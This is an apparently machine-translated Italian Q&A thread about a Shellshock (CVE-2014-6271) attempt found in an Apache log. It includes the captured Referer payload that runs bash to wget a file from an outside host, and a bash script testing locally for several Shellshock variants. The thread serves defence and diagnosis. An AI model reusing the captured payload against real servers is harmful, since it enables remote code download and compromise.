Il messaggio di errore nei registri di Apache mostra / bin / bash e wget

2

Mi chiedo se il mio server è compromesso o no ho appena guardato il mio log e ho visto la seguente riga in là

[Thu May 14 09:10:42.587255 2015] [autoindex:error] [pid 3422] [client 207.141.124.18:59142] AH01276: Cannot serve directory /var/www/: No matching DirectoryIndex (index.html,index.cgi,index.pl,index.php,index.xhtml,index.htm) found, and server-generated directory index forbidden by Options directive, referer: () { :;}; /bin/bash -c "wget -O /tmp/bbb dprftp.asuscomm.com/novo.php?ip=37332e33362e3134302e313938"

È preoccupante perché vedo /bin/bash -c "wget -O /tmp/bbb dprftp.asuscomm.com/novo.php?ip=37332e33362e3134302e313938"

Non sono sicuro se fossero in grado di eseguire quel comando con successo o meno. Mi rendo conto che si tratta di un errore, ma voglio essere sicuro.

    
posta Brandon 14.05.2015 - 22:53
fonte

3 risposte

2

Questo è un tentativo di sfruttare CVE-2014-6271 (la vulnerabilità "shellshock", se necessario).

La sua apparizione in questo messaggio non indica che sia andata a buon fine; qualsiasi client può includere qualsiasi stringa nell'intestazione Referer: e averlo incluso nei log qui.

Il tentativo non è riuscito in questo caso specifico, perché il messaggio di log ti dice che non c'era nessuno script presente all'URL di destinazione / , quindi non c'era nulla che avrebbe valutato il codice. Tuttavia, dovresti dare per scontato che questo e altri bot stiano colpendo anche altri URL.

Se il tuo server è stato aggiornato con patch di sicurezza da quando è uscito CVE-2014-6271, stai bene.

    
risposta data 14.05.2015 - 23:33
fonte
2

Quindi sembra che qualcuno stia tentando di utilizzare il shellshock vulnerabilità che è stata recentemente scoperta nella shell bash. La chiave give-away è la parte del log che legge:

referer: () { :;}; /bin/bash

Ciò che l'attaccante (o il partecipante non consapevole) ha fatto è impostare l'intestazione del referer http del browser web su tutto ciò che vedi dopo la parola "referer" nel tuo log. Se il tuo server è vulnerabile, () { :;}; causerà l'esecuzione di tutto quanto segue. Ciò potrebbe accadere se uno script CGI viene eseguito su una macchina con una versione non formattata di bash e dove tale script utilizza la variabile referer .

    
risposta data 14.05.2015 - 23:33
fonte
0

Ho lo stesso caso, per verificare se il server è vulnerabile a ShellShock:

#!/bin/bash
EXITCODE=0

# CVE-2014-6271
CVE20146271=$(env 'x=() { :;}; echo vulnerable' 'BASH_FUNC_x()=() { :;}; echo vulnerable' bash -c "echo test" 2>&1 | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-6271 (original shellshock): "
if [ $CVE20146271 -gt 0 ]; then
    echo -e "3[91mVULNERABLE3[39m"
    EXITCODE=$((EXITCODE+1))
else
    echo -e "3[92mnot vulnerable3[39m"
fi

# CVE-2014-6277
# it is fully mitigated by the environment function prefix passing avoidance
CVE20146277=$((shellshocker="() { x() { _;}; x() { _;} <<a; }" bash -c date 2>/dev/null || echo vulnerable) | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-6277 (segfault): "
if [ $CVE20146277 -gt 0 ]; then
    echo -e "3[91mVULNERABLE3[39m"
    EXITCODE=$((EXITCODE+2))
else
    echo -e "3[92mnot vulnerable3[39m"
fi

# CVE-2014-6278
CVE20146278=$(shellshocker='() { echo vulnerable; }' bash -c shellshocker 2>/dev/null | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-6278 (Florian's patch): "
if [ $CVE20146278 -gt 0 ]; then
    echo -e "3[91mVULNERABLE3[39m"
    EXITCODE=$((EXITCODE+4))
else
    echo -e "3[92mnot vulnerable3[39m"
fi

# CVE-2014-7169
CVE20147169=$((cd /tmp; rm -f /tmp/echo; env X='() { (a)=>\' bash -c "echo echo nonvuln" 2>/dev/null; [[ "$(cat echo 2> /dev/null)" == "nonvuln" ]] && echo "vulnerable" 2> /dev/null) | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-7169 (taviso bug): "
if [ $CVE20147169 -gt 0 ]; then
    echo -e "3[91mVULNERABLE3[39m"
    EXITCODE=$((EXITCODE+8))
else
    echo -e "3[92mnot vulnerable3[39m"
fi

# CVE-2014-7186
CVE20147186=$((bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' 2>/dev/null || echo "vulnerable") | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-7186 (redir_stack bug): "
if [ $CVE20147186 -gt 0 ]; then
    echo -e "3[91mVULNERABLE3[39m"
    EXITCODE=$((EXITCODE+16))
else
    echo -e "3[92mnot vulnerable3[39m"
fi

# CVE-2014-7187
CVE20147187=$(((for x in {1..200}; do echo "for x$x in ; do :"; done; for x in {1..200}; do echo done; done) | bash || echo "vulnerable") | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-7187 (nested loops off by one): "
if [ $CVE20147187 -gt 0 ]; then
    echo -e "3[91mVULNERABLE3[39m"
    EXITCODE=$((EXITCODE+32))
else
    echo -e "3[92mnot vulnerable3[39m"
fi

# CVE-2014-////
CVE2014=$(env X=' () { }; echo vulnerable' bash -c 'date' | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-//// (exploit 3 on http://shellshocker.net/): "
if [ $CVE2014 -gt 0 ]; then
    echo -e "3[91mVULNERABLE3[39m"
    EXITCODE=$((EXITCODE+64))
else
    echo -e "3[92mnot vulnerable3[39m"
fi

exit $EXITCODE

Questo modo di aggiornare la bash risolve questo problema:

sudo apt-get update && sudo apt-get install --only-upgrade bash
    
risposta data 08.06.2015 - 21:06
fonte

Leggi altre domande sui tag